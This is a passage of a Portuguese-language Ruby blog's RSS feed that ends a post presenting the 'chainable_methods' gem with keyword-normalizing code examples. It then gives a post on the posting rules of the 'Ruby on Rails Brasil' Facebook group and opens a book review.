</span></span><span class="line"><span class="cl">  <span class="o">.</span><span class="n">map</span> <span class="p">{</span> <span class="o">|</span><span class="n">kw</span><span class="o">|</span> <span class="n">kw</span><span class="o">.</span><span class="n">gsub</span><span class="p">(</span><span class="sr">/(^[^[:alpha:]]+|[^[:alpha:]]+$)/</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">)</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="o">.</span><span class="n">map</span> <span class="p">{</span> <span class="o">|</span><span class="n">kw</span><span class="o">|</span> <span class="no">LegacySpanishCorrector</span><span class="o">.</span><span class="n">new</span><span class="o">.</span><span class="n">correct</span><span class="p">(</span><span class="n">kw</span><span class="p">)</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="o">.</span><span class="n">map</span> <span class="p">{</span> <span class="o">|</span><span class="n">kw</span><span class="o">|</span> <span class="n">kw</span><span class="o">.</span><span class="n">gsub</span><span class="p">(</span><span class="sr">/[^[:alpha:]\d&#39;_\-\/]/</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">)</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="o">.</span><span class="n">reject</span> <span class="p">{</span> <span class="o">|</span><span class="n">kw</span><span class="o">|</span> <span class="no">STOP_WORDS</span><span class="o">.</span><span class="n">include?</span><span class="p">(</span><span class="n">kw</span><span class="p">)</span> <span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Ruby permite encadear métodos de Enumerable um atrás do outro, transformando a lista inicial de keywords em &ldquo;alguma coisa&rdquo; que fica bem difícil de inferir só olhando para o código.</p>
<p>E essa outra versão, o que acha?</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">KeywordNormalizer</span>
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nf">call</span><span class="p">(</span><span class="n">keywords</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="no">Collection</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">keywords</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="o">.</span><span class="n">strip_outer_punctuation</span>
</span></span><span class="line"><span class="cl">      <span class="o">.</span><span class="n">fix_spanish</span>
</span></span><span class="line"><span class="cl">      <span class="o">.</span><span class="n">clean_inner_punctuation</span>
</span></span><span class="line"><span class="cl">      <span class="o">.</span><span class="n">remove_stop_words</span>
</span></span><span class="line"><span class="cl">      <span class="o">.</span><span class="n">to_a</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># ...</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>É aonde ele chega no fim do artigo: muito mais legível, e cada método isolado fica testável via unit test, resultando em código mais robusto.</p>
<p>A ideia desse post é apresentar minha nova gem <a href="https://rubygems.org/gems/chainable_methods"target="_blank" rel="noopener">&ldquo;Chainable Methods&rdquo;</a>. O <a href="https://github.com/akitaonrails/chainable_methods"target="_blank" rel="noopener">código-fonte</a> está no Github, como sempre, então por favor contribua.</p>
<p>Minha gem permite escrever o último código do Lawson assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="no">KeywordNormalizer</span>
</span></span><span class="line"><span class="cl">  <span class="o">.</span><span class="n">chain_from</span><span class="p">(</span><span class="n">keywords</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="o">.</span><span class="n">strip_outer_punctuation</span>
</span></span><span class="line"><span class="cl">  <span class="o">.</span><span class="n">fix_spanish</span>
</span></span><span class="line"><span class="cl">  <span class="o">.</span><span class="n">clean_inner_punctuation</span>
</span></span><span class="line"><span class="cl">  <span class="o">.</span><span class="n">remove_stop_words</span>
</span></span><span class="line"><span class="cl">  <span class="o">.</span><span class="n">to_a</span>
</span></span><span class="line"><span class="cl">  <span class="o">.</span><span class="n">unwrap</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Você adiciona o <tt>chainable_methods</tt> no seu Gemfile como sempre (já sabe o procedimento), e aí pode escrever o módulo do Lawson desse jeito:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">module</span> <span class="nn">KeywordNormalizer</span>
</span></span><span class="line"><span class="cl">  <span class="kp">extend</span> <span class="no">ChainableMethods</span>
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">strip_outer_punctuation</span><span class="p">(</span><span class="n">array</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">array</span><span class="o">.</span><span class="n">map</span> <span class="p">{</span> <span class="o">|</span><span class="n">el</span><span class="o">|</span> <span class="n">el</span><span class="o">.</span><span class="n">gsub</span><span class="p">(</span><span class="sr">/(^[^[:alpha:]]+|[^[:alpha:]]+$)/</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">)</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">fix_spanish</span><span class="p">(</span><span class="n">array</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">array</span><span class="o">.</span><span class="n">map</span> <span class="p">{</span> <span class="o">|</span><span class="n">el</span><span class="o">|</span> <span class="no">LegacySpanishCorrector</span><span class="o">.</span><span class="n">new</span><span class="o">.</span><span class="n">correct</span><span class="p">(</span><span class="n">el</span><span class="p">)</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">clean_inner_punctuation</span><span class="p">(</span><span class="n">array</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">array</span><span class="o">.</span><span class="n">map</span> <span class="p">{</span> <span class="o">|</span><span class="n">el</span><span class="o">|</span> <span class="n">el</span><span class="o">.</span><span class="n">gsub</span><span class="p">(</span><span class="sr">/[^[:alpha:]\d&#39;_\-\/]/</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">)</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">remove_stop_words</span><span class="p">(</span><span class="n">array</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">array</span><span class="o">.</span><span class="n">reject</span> <span class="p">{</span> <span class="o">|</span><span class="n">el</span><span class="o">|</span> <span class="no">STOP_WORDS</span><span class="o">.</span><span class="n">include?</span><span class="p">(</span><span class="n">el</span><span class="p">)</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>É isso, agora você pode encadear tudo como mostrei antes. O padrão é:</p>
<ol>
<li>Escreva um Module com métodos de classe que recebam pelo menos um argumento e que extendam o módulo &lsquo;ChainableMethods&rsquo;:</li>
</ol>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">module</span> <span class="nn">MyModule</span>
</span></span><span class="line"><span class="cl">  <span class="kp">extend</span> <span class="no">ChainableMethods</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">method_a</span><span class="p">(</span><span class="n">argument1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># ...</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">method_b</span><span class="p">(</span><span class="n">argument1</span><span class="p">,</span> <span class="n">argument2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># ...</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">method_c</span><span class="p">(</span><span class="n">argument1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># yield a block passing the received argument</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<ol start="2">
<li>Envolva um estado inicial que será passado como primeiro argumento do primeiro método:</li>
</ol>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">some_initial_state</span> <span class="o">=</span> <span class="s2">&#34;Hello World&#34;</span>
</span></span><span class="line"><span class="cl"><span class="no">MyModule</span>
</span></span><span class="line"><span class="cl">  <span class="o">.</span><span class="n">chain_from</span><span class="p">(</span><span class="n">some_initial_state</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="c1"># ...</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<ol start="3">
<li>Encadeie quantos métodos quiser do módulo ou métodos que o estado retornado reconheça:</li>
</ol>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="no">MyModule</span>
</span></span><span class="line"><span class="cl">  <span class="o">.</span><span class="n">chain_from</span><span class="p">(</span><span class="n">some_initial_state</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="o">.</span><span class="n">upcase</span>
</span></span><span class="line"><span class="cl">  <span class="o">.</span><span class="n">method_a</span>
</span></span><span class="line"><span class="cl">  <span class="o">.</span><span class="n">method_b</span><span class="p">(</span><span class="n">argument2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="o">.</span><span class="n">method_c</span> <span class="p">{</span> <span class="o">|</span><span class="n">foo</span><span class="o">|</span> <span class="n">foo</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34; &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="s2">&#34;, &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="o">.</span><span class="n">unwrap</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Repare que não precisamos passar o primeiro argumento para os métodos dentro do módulo &lsquo;MyModule&rsquo;. Ele pega o resultado da última chamada automaticamente.</p>
<ol start="4">
<li>Não esqueça de chamar <tt>#unwrap</tt> como última chamada para obter o resultado final da cadeia.</li>
</ol>
<h3>Um Experimento<span class="hx:absolute hx:-mt-20" id="um-experimento"></span>
    <a href="#um-experimento" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>E é isso! Isolei esse comportamento apenas em módulos que explicitamente extendem o módulo &lsquo;ChainableMethods&rsquo;, em vez de habilitar automagicamente no nível de BasicObject como muitos pensariam de primeira, porque queremos evitar um &lsquo;method_missing&rsquo; global solto por aí sem controle.</p>
<p>Esse comportamento usa &lsquo;method_missing&rsquo;, então não vai ser rápido num benchmark sintético contra uma chamada direta de método, por razões óbvias. O propósito aqui é expressividade, não velocidade. Tenha isso em mente.</p>
<p>O caso de uso é: sempre que você tiver algum tipo de transformação, vai querer uma cadeia de funções isoladas e testáveis via unit test. E é assim que dá para conseguir isso sem muita dor de cabeça.</p>
<p>Isso é um experimento. Como estou usando &lsquo;method_missing&rsquo;, podem rolar efeitos colaterais que ainda não enxerguei, então por favor me avise nas <a href="https://github.com/akitaonrails/chainable_methods/issues"target="_blank" rel="noopener">Github Issues</a> e mande feedback se ajudou em algum projeto.</p>
<p>Pull Requests são muito bem-vindos!</p>
]]></content:encoded><category>ruby</category><category>elixir-e-erlang</category><category>linguagens-de-programacao</category></item><item><title>[Small Bites] Começando no Grupo "Ruby on Rails Brasil" no Facebook</title><link>https://akitaonrails.github.io/2015/07/20/small-bites-comecando-no-grupo-ruby-on-rails-brasil-no-facebook/</link><guid isPermaLink="true">https://akitaonrails.github.io/2015/07/20/small-bites-comecando-no-grupo-ruby-on-rails-brasil-no-facebook/</guid><pubDate>Mon, 20 Jul 2015 15:36:00 -0300</pubDate><description>&lt;p&gt;Se você é novo na comunidade Rails do Brasil, um dos melhores lugares hoje em dia para conseguir dicas e informações (DEPOIS que você já procurou no Google, Stackoverflow, etc) é o grupo &lt;a href="https://www.facebook.com/groups/rubyonrailsbrasil/"target="_blank" rel="noopener"&gt;&amp;ldquo;Ruby on Rails Brasil&amp;rdquo;&lt;/a&gt; no Facebook que, até a publicação desse post, conta com mais de &lt;strong&gt;6 mil&lt;/strong&gt; membros!&lt;/p&gt;
&lt;p&gt;Eu e outras 11 pessoas administram esse grupo nas horas vagas, o que significa 500 pessoas por administrador. Portanto, para que as coisas funcionem de forma eficiente, precisamos da colaboração de todos.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Se você é novo na comunidade Rails do Brasil, um dos melhores lugares hoje em dia para conseguir dicas e informações (DEPOIS que você já procurou no Google, Stackoverflow, etc) é o grupo <a href="https://www.facebook.com/groups/rubyonrailsbrasil/"target="_blank" rel="noopener">&ldquo;Ruby on Rails Brasil&rdquo;</a> no Facebook que, até a publicação desse post, conta com mais de <strong>6 mil</strong> membros!</p>
<p>Eu e outras 11 pessoas administram esse grupo nas horas vagas, o que significa 500 pessoas por administrador. Portanto, para que as coisas funcionem de forma eficiente, precisamos da colaboração de todos.</p>
<p>Primeiro de tudo: se você for uma empresa procurando candidatos, esse é um excelente grupo para começar, mas não é a casa da mãe Joana e existem regras, então o mínimo que se deve fazer é: seguir as regras. O administrador André Stephano foi quem levantou a bola, então copio aqui o post que ele publicou no grupo:</p>
<p><strong>Andre Stephano</strong> - <a href="https://www.facebook.com/groups/rubyonrailsbrasil/permalink/731271507000363/"target="_blank" rel="noopener">July 10 at 2:33pm</a></p>
<blockquote>
<p>Estamos pensando em voltar a forçar as empresas a informarem salário e forma de contratação se quiserem anunciar, dessa forma nenhum usuário perde tempo com algo que financeiramente é inviável e por outro lado, um anúncio generoso pode atrair desenvolvedores que não procuram emprego. O que acham disso?</p>
<p>Motivo: Tem sido uma prática comum empresas colocarem anúncios chamativos para atraírem desenvolvedores. Inclusive, um amigo próximo foi para uma série de entrevistas em outra cidade, pra um vaga pra desenvolvedor senior em Ruby (completo com devOps e design) que no final de tudo revelou o salário de R$ 3.300,00 em PJ. O pior que nesse caso, a seleção ainda estava cheia de pessoas que também tinham grandes expectativas e foram enganadas. Isso acaba desvalorizando um pouco nosso mercado, faz pessoas voltarem frustradas achando que essa é a realidade, outros perdem tempo e no geral, desse monte de gente, alguém bom acaba aceitando já que chegou até ali.</p>
<p>A ideia é fazer com que vocês saibam o que esperar antes de perder tempo enviando CV e indo pros processos seletivos. Querendo ou não, somos o principal canal de desenvolvedores Ruby no país, então pra postar aqui, que seja por nossas próprias regras.</p>
<p>&ldquo;Quem tem medo de mostrar o preço é porque quer pagar pouco&rdquo;</p>
</blockquote>
<p>Regra: coloque a remuneração da vaga no corpo do texto do post no grupo, não vale dentro da descrição num link externo.</p>
<p>Alguém pode perguntar <em>&ldquo;E quem não concordar com isso?&rdquo;</em>. A resposta é simples: <em>&ldquo;não poste nesse grupo, tem outros lugares caso discorde.&rdquo;</em> Ninguém é obrigado a aceitar, só não vale a pena discutir mais sobre esse tipo de coisa.</p>
<p>Segundo: se você é um iniciante na comunidade, não use a desculpa de <em>&ldquo;sou iniciante na comunidade&rdquo;</em>. É como passar farol vermelho, causar um acidente e usar como desculpa <em>&ldquo;opa, foi mal, desconhecia que não podia passar farol vermelho.&rdquo;</em> Em Direito existe uma regra de que ninguém pode alegar o desconhecimento da lei. E eu <a href="http://franciscohayashi.jusbrasil.com.br/artigos/168091034/a-proposito-da-impossibilidade-de-se-alegar-desconhecimento-da-lei"target="_blank" rel="noopener">cito</a>:</p>
<blockquote>
"Para viver em sociedade existe um preço a ser pago: a obrigação de procurar conhecer o direito. Por isso, quando é possível ao agente conhecer o direito, mas ele age de forma indiferente ou preguiçosa, a punição é aplicada."
</blockquote>
<p>No momento da publicação deste post, existem 129 pessoas bloqueadas de acesso ao grupo porque ofenderam, desacataram, ou fizeram pouco das regras mínimas de convivência. São meros 2% da população mas já é significativo. Isso não é o Reddit e trolls não são bem vindos.</p>
<p>Terceiro: se você é um iniciante, sempre parta do princípio que você não é o primeiro a ter seja lá qual for a dúvida que você tem. E que qualquer coisa que você queira discutir, provavelmente já foi discutida. O Nando Vieira, (um dos administradores do grupo) já falou sobre isso em seu post <a href="http://simplesideias.com.br/como-fazer-perguntas-inteligentes"target="_blank" rel="noopener">&ldquo;Como fazer perguntas inteligentes&rdquo;</a>.</p>
<p>Vamos a algumas perguntas frequentes:</p>
<ul>
<li>
<p><a href="https://www.facebook.com/groups/rubyonrailsbrasil/permalink/719740518153462/"target="_blank" rel="noopener">June 15</a> - Pessoal, estou pensando em fazer o curso de RoR no Alura.com.br. Alguém já fez esse curso no site do Alura? Recomendam algum outro curso online? Obs: menos o da Caelun que além de ser extremamente caro, no momento está indisponível.</p>
</li>
<li>
<p><a href="https://www.facebook.com/groups/rubyonrailsbrasil/permalink/717979074996273/"target="_blank" rel="noopener">June 10</a> - Pessoal, estou terminando uma aplicação para uma empresa, e já hospedei no heroku, está até funcionando. Minhas dúvidas são: Posso deixar minha aplicação hospedada no Heroku para produção mesmo ? Não tem riscos ? Ou devo contratar um host e hospeda-la posteriormente ? Alguém que use heroku no dia a dia, poderia me dar algumas dicas?</p>
</li>
<li>
<p><a href="https://www.facebook.com/groups/rubyonrailsbrasil/permalink/699392973521550/"target="_blank" rel="noopener">April 30</a> - Voltando a História dos IDE para Ruby. O q vcs estão achando desse? smile emoticon. Particularmente estou gostando</p>
</li>
<li>
<p><a href="https://www.facebook.com/groups/rubyonrailsbrasil/permalink/669531103174404/"target="_blank" rel="noopener">March 10</a> - Pessoal, estou começando com rails e a experiência tá sendo horrível no começo, como provavelmente foi com muitos de vcs. A velha história de incompatibilidades de versões ruby, gems, problemas com certificados ssl para conexão https, etc, etc, &hellip; Alguem aí que já tenha conseguido atravessar esse inferno poderia me ajudar a achar uma configuração que funcione ? No início tentei desenvolver no windows mesmo, até fiz o bendito conectar com o mysql e funcionar, mas queria fazer do jeito certo. Aí parti para uma configuração mais recomendada, utilizando vagrant, até que apareceram os problemas com o Chef para a configuração do ambiente. Partir para Mac e$tá fora de que$tão, preferiria mesmo ficar no windows, mesmo que com uma VM. Resumindo: curto muito Ruby como linguagem e quero aprender Rails. Alguem poderia me indicar um tutorial que realmente FUNCIONE? Apenas para montagem do ambiente até que esteja tudo pronto para começar a desenvolver? Valeu !</p>
</li>
</ul>
<p>Caso não saiba, todo grupo do Facebook permite fazer pesquisas:</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/496/Ruby_on_Rails_Brasil.png" alt="Pesquisa em Grupo do Facebook"  loading="lazy" /></p>
<p>Concordo, o search do Facebook não é nem de longe um Google, mas já ajuda. Não custa nada pesquisar lá rapidamente antes de duplicar um tópico que já foi discutido, literalmente, dezenas de vezes.</p>
<p>Mas vamos às respostas de sempre:</p>
<ul>
<li>
<p>GOOGLE! Se você está desenvolvendo e deu algum pau, pegue a mensagem de erro e pesquise no Google. Certamente está lá, só precisa procurar direito. Você vai ganhar na loteria se encontrar um erro que ninguém viu ainda. É mais provável que você pesquisou errado.</p>
</li>
<li>
<p><a href="http://guides.rubyonrails.org/"target="_blank" rel="noopener">Rails Guides</a> - não seja um desses que já está vendendo serviço a clientes e sequer gastou um tempo estudando o Rails Guides. Ele tem TODO o básico que você precisa. Se você tem dúvidas cujas respostas estão lá, claramente, você não estudou o suficiente ainda.</p>
</li>
<li>
<p><a href="http://simplesideias.com.br/usando-o-vagrant-como-ambiente-de-desenvolvimento-no-windows"target="_blank" rel="noopener">Vagrant</a> - se você usa Windows, nem perca seu tempo. Instale Vagrant + Virtual Box (ou preferencialmente pague pelo VMWare) e use um ambiente Linux, não há mais o que discutir.</p>
</li>
<li>
<p><a href="http://www.akitaonrails.com/2014/07/13/aprendendo-ruby-e-rails-livros-e-guias"target="_blank" rel="noopener">Livros</a> - como ler mais a respeito? Fiz um artigo algum tempo atrás com dicas disso.</p>
</li>
<li>
<p><a href="http://www.akitaonrails.com/Iniciante"target="_blank" rel="noopener">Tag: Iniciantes</a> - leia alguns dos meus artigos com tag &ldquo;Iniciante&rdquo; para ter uma melhor noção. Por exemplo, <a href="http://www.akitaonrails.com/2014/12/18/small-bites-direct-upload-para-s3-a-solucao-definitiva"target="_blank" rel="noopener">&ldquo;como resolver meu problema de Uploads?&rdquo;</a>, <a href="http://www.akitaonrails.com/2014/12/02/small-bites-em-defesa-do-asset-pipeline-tudo-que-voce-precisa"target="_blank" rel="noopener">&ldquo;ouvi falar que o Asset Pipeline é ruim, é mesmo?&rdquo;</a>, <a href="http://www.akitaonrails.com/2014/08/23/small-bite-um-pouco-tarde-o-grande-debate-sobre-tdd"target="_blank" rel="noopener">&ldquo;ouvi falar que o DHH não gosta de TDD, e aí?&rdquo;</a>.</p>
</li>
</ul>
<p>Normalmente se você tem alguma contra a dizer do tipo <em>&ldquo;Ouvi dizer que X acha Rails uma bosta&rdquo;</em>, pare e não poste a respeito. Em vez disso vá ao Google (sempre!), ao Quora, e pesquise antes. Você com certeza chegou tarde pra festa e todo mundo já discutiu a respeito. Além do mais &ldquo;ouvi dizer que&rdquo; é coisa de adolescente de revistinha Contigo e Ti-Ti-Ti. Vamos lá galera, somos Engenheiros ou Fofoqueiros??</p>
<p>Bola pra frente!</p>
]]></content:encoded><category>ruby</category><category>rails</category><category>comunicacao</category></item><item><title>[Casa do Código] Livro: Introdução à Computação: Da Lógica aos jogos com Ruby</title><link>https://akitaonrails.github.io/2015/06/27/casa-do-codigo-livro-introducao-a-computacao-da-logica-aos-jogos-com-ruby/</link><guid isPermaLink="true">https://akitaonrails.github.io/2015/06/27/casa-do-codigo-livro-introducao-a-computacao-da-logica-aos-jogos-com-ruby/</guid><pubDate>Sat, 27 Jun 2015 11:23:00 -0300</pubDate><description>&lt;p&gt;Estou um pouco atrasado com meu review mas antes tarde do que nunca. Alguns dias atrás a &lt;a href="http://www.casadocodigo.com.br/products/livro-aprendendo-computacao-ruby"target="_blank" rel="noopener"&gt;Casa do Código lançou um novo livro&lt;/a&gt; para iniciantes que querem começar no mundo da programação.&lt;/p&gt;
&lt;p&gt;Hoje existem muitos tutoriais na Web para aprender todo tipo de truque de programação. Para muitos, programar se tornou um processo de:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;pesquisar no Google, Stackoverflow ou outros fórums&lt;/li&gt;
&lt;li&gt;copiar o trecho de código e colar no seu próprio código&lt;/li&gt;
&lt;li&gt;lucrar&lt;/li&gt;
&lt;/ol&gt;
